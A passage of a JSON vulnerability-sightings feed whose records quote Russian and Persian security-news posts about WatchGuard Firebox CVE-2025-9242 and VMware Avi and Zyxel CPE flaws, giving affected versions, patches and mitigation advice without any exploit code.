RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u0435\u0435 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b Firebox.\n\nCVE-2025-9242 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e\u00a0\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Fireware OS 11.x (EoL), 12.x \u0438 2025.1 \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 12.3.1_Update3 (B722811), 12.5.13, 12.11.4 \u0438 2025.1.1.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b Firebox \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 IKEv2 VPN.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, WatchGuard \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0442\u044c\u0441\u044f \u0440\u0438\u0441\u043a\u0443 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u044b.\n\nWatchGuard \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u041f\u041e, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439 Branch Office VPN (BOVPN) \u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0434\u043d\u043e\u0440\u0430\u043d\u0433\u043e\u0432\u044b\u043c \u0448\u043b\u044e\u0437\u0430\u043c.\n\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u043d\u0433\u043e\u0432\u044b\u0435 BOVPN, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a VPN (\u043a\u0430\u043a \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430 \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0441\u0451 \u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 WatchGuard Firebox, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e.\n\n\u0422\u0430\u043a, \u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Akira \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40766, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0433\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u0438 \u0438\u043c\u0435\u044e\u0449\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u0438,\u00a0\u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 SonicWall.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e WatchGuard \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0435\u0442 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 17\u00a0000 \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430\u043c\u0438 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c\u0438 \u0418\u0411-\u0443\u0441\u043b\u0443\u0433 \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u0441\u0435\u0442\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 250\u00a0000 \u043c\u0430\u043b\u044b\u0445 \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u043d\u0435\u043f\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-09-18T16:46:05.000000Z"}, {"uuid": "5fde66ab-8cf2-49b6-9844-d66910de3ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://t.me/ics_cert/1005", "content": "\u0627\u0645\u0631\u0648\u0632\u0647 VMware Avi Load Balancer \u0648 Zyxel CPE \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646\u062f.\n\n\u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0645\u0648\u0631\u062f \u0627\u0648\u0644\u060c Broadcom \u0627\u0632 \u06a9\u0634\u0641 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u062c\u062f\u06cc \u062f\u0631 VMware Avi Load Balancer \u062e\u0628\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u06cc\u0645\u0646 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f.\n\nCVE-2025-22217 \u062f\u0627\u0631\u0627\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 8.6 \u0627\u0633\u062a \u0648 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u06cc\u0646 Daniel Kukuczka \u0648 Mateusz Darda \u06a9\u0634\u0641 \u0634\u062f.\n\n \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0634\u0628\u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u067e\u0631\u0633 \u0648 \u062c\u0648\u0647\u0627\u06cc SQL \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0631 VMware Avi Load Balancer 30.1.1 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2)\u060c 30.1.2 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2)\u060c 30.2.1 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.2.1-2p5) \u0648 30.2.2-2.2p (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2) \u0648 30.2.2-2.2 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2) \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f.\n\nBroadcom \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 22.x \u0648 21.x \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 CVE-2025-22217 \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f.\n\n\u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0646\u0633\u062e\u0647 30.1.1 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc \u06a9\u0646\u0646\u062f\u060c \u0628\u0627\u06cc\u062f \u0642\u0628\u0644 \u0627\u0632 \u0627\u0639\u0645\u0627\u0644 \u0627\u0635\u0644\u0627\u062d\u060c \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 30.1.2 \u06cc\u0627 \u062c\u062f\u06cc\u062f\u062a\u0631 \u0627\u0631\u062a\u0642\u0627 \u062f\u0647\u0646\u062f.\n\n\u0647\u06cc\u0686 \u0631\u0627\u0647 \u062d\u0644\u06cc \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u062f.\n\n\u0648 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc 0day \u0645\u0647\u0645\u06cc \u06a9\u0647 \u0628\u0631 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0633\u0631\u06cc Zyxel CPE \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc\u200c\u06af\u0630\u0627\u0631\u0646\u062f\u060c \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0628\u0647 \u0637\u0648\u0631 \u0641\u0639\u0627\u0644 \u062f\u0631 \u062d\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0647\u0633\u062a\u0646\u062f.\n\nGreyNoise \u06af\u0632\u0627\u0631\u0634 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u0631 \u0631\u0648\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0628\u0647 \u062e\u0637\u0631 \u0627\u0641\u062a\u0627\u062f\u0646 \u06a9\u0627\u0645\u0644 \u0633\u06cc\u0633\u062a\u0645\u060c \u0646\u0634\u062a \u062f\u0627\u062f\u0647 \u0647\u0627 \u06cc\u0627 \u0646\u0641\u0648\u0630 \u0628\u0647 \u0634\u0628\u06a9\u0647 \u0645\u06cc \u0634\u0648\u062f.\n\nCVE-2024-40891 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062a\u0632\u0631\u06cc\u0642 \u0641\u0631\u0645\u0627\u0646 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0637\u0648\u0631 \u0639\u0645\u0648\u0645\u06cc \u0641\u0627\u0634 \u0646\u0634\u062f\u0647 \u06cc\u0627 \u062b\u0627\u0628\u062a \u0646\u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0648\u062c\u0648\u062f \u0627\u06cc\u0646 \u0628\u0627\u06af \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062a\u0648\u0633\u0637 VulnCheck \u062f\u0631 \u062c\u0648\u0644\u0627\u06cc 2024 \u06af\u0632\u0627\u0631\u0634 \u0634\u062f.\n\n\u062a\u0644\u0647 \u0645\u062a\u0631\u06cc \u06af\u0631\u06cc \u0646\u0648\u06cc\u0632 \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u062a\u0644\u0627\u0634 \u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u0627\u0632 \u062f\u0647 \u0647\u0627 \u0622\u062f\u0631\u0633 IP \u0633\u0631\u0686\u0634\u0645\u0647 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u06cc\u0634\u062a\u0631 \u0622\u0646\u0647\u0627 \u062f\u0631 \u062a\u0627\u06cc\u0648\u0627\u0646 \u0628\u0648\u062f\u0646\u062f.\n\n\u0637\u0628\u0642 \u06af\u0632\u0627\u0631\u0634 Censys\u060c \u0628\u06cc\u0634 \u0627\u0632 1500 \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f .\n\nCVE-2024-40891 \u0628\u0633\u06cc\u0627\u0631 \u0634\u0628\u06cc\u0647 \u0628\u0647 CVE-2024-40890 \u0627\u0633\u062a\u060c \u062a\u0641\u0627\u0648\u062a \u0627\u0635\u0644\u06cc \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0648\u0644\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Telnet \u0648 \u062f\u0648\u0645\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTP \u0627\u0633\u062a.\n\n \u0647\u0631 \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\nVulnCheck \u06af\u0641\u062a \u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0647\u0645\u06a9\u0627\u0631\u06cc \u0628\u0627 \u0634\u0631\u06a9\u062a \u062a\u0627\u06cc\u0648\u0627\u0646\u06cc \u062f\u0631 \u0631\u0648\u0646\u062f \u0627\u0641\u0634\u0627 \u0627\u0633\u062a.\n\nZyxel \u0647\u0646\u0648\u0632 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0648\u0636\u0639\u06cc\u062a \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631 \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627\u06cc HTTP \u063a\u06cc\u0631\u0645\u0639\u0645\u0648\u0644 \u0628\u0647 \u0631\u0627\u0628\u0637 \u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a Zyxel CPE \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0646\u0646\u062f \u0648 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0631\u0627\u0628\u0637 \u0627\u062f\u0627\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f \u0645\u062d\u062f\u0648\u062f \u06a9\u0646\u0646\u062f.\n\n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2025-02-07T10:00:26.000000Z"}, {"uuid": "ce373385-ffe6-40d3-a590-6dbc32e9b879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/ics_cert/1005", "content": "\u0627\u0645\u0631\u0648\u0632\u0647 VMware Avi Load Balancer \u0648 Zyxel CPE \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646\u062f.\n\n\u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0645\u0648\u0631\u062f \u0627\u0648\u0644\u060c Broadcom \u0627\u0632 \u06a9\u0634\u0641 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u062c\u062f\u06cc \u062f\u0631 VMware Avi Load Balancer \u062e\u0628\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u06cc\u0645\u0646 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f.\n\nCVE-2025-22217 \u062f\u0627\u0631\u0627\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS 8.6 \u0627\u0633\u062a \u0648 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u06cc\u0646 Daniel Kukuczka \u0648 Mateusz Darda \u06a9\u0634\u0641 \u0634\u062f.\n\n \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0634\u0628\u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u067e\u0631\u0633 \u0648 \u062c\u0648\u0647\u0627\u06cc SQL \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0631 VMware Avi Load Balancer 30.1.1 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2)\u060c 30.1.2 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2)\u060c 30.2.1 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.2.1-2p5) \u0648 30.2.2-2.2p (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2) \u0648 30.2.2-2.2 (\u0631\u0641\u0639 \u0634\u062f\u0647 \u062f\u0631 30.1.2-2p2) \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f.\n\nBroadcom \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 22.x \u0648 21.x \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 CVE-2025-22217 \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f.\n\n\u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0646\u0633\u062e\u0647 30.1.1 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc \u06a9\u0646\u0646\u062f\u060c \u0628\u0627\u06cc\u062f \u0642\u0628\u0644 \u0627\u0632 \u0627\u0639\u0645\u0627\u0644 \u0627\u0635\u0644\u0627\u062d\u060c \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 30.1.2 \u06cc\u0627 \u062c\u062f\u06cc\u062f\u062a\u0631 \u0627\u0631\u062a\u0642\u0627 \u062f\u0647\u0646\u062f.\n\n\u0647\u06cc\u0686 \u0631\u0627\u0647 \u062d\u0644\u06cc \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u062f.\n\n\u0648 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc 0day \u0645\u0647\u0645\u06cc \u06a9\u0647 \u0628\u0631 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0633\u0631\u06cc Zyxel CPE \u062a\u0623\u062b\u06cc\u0631 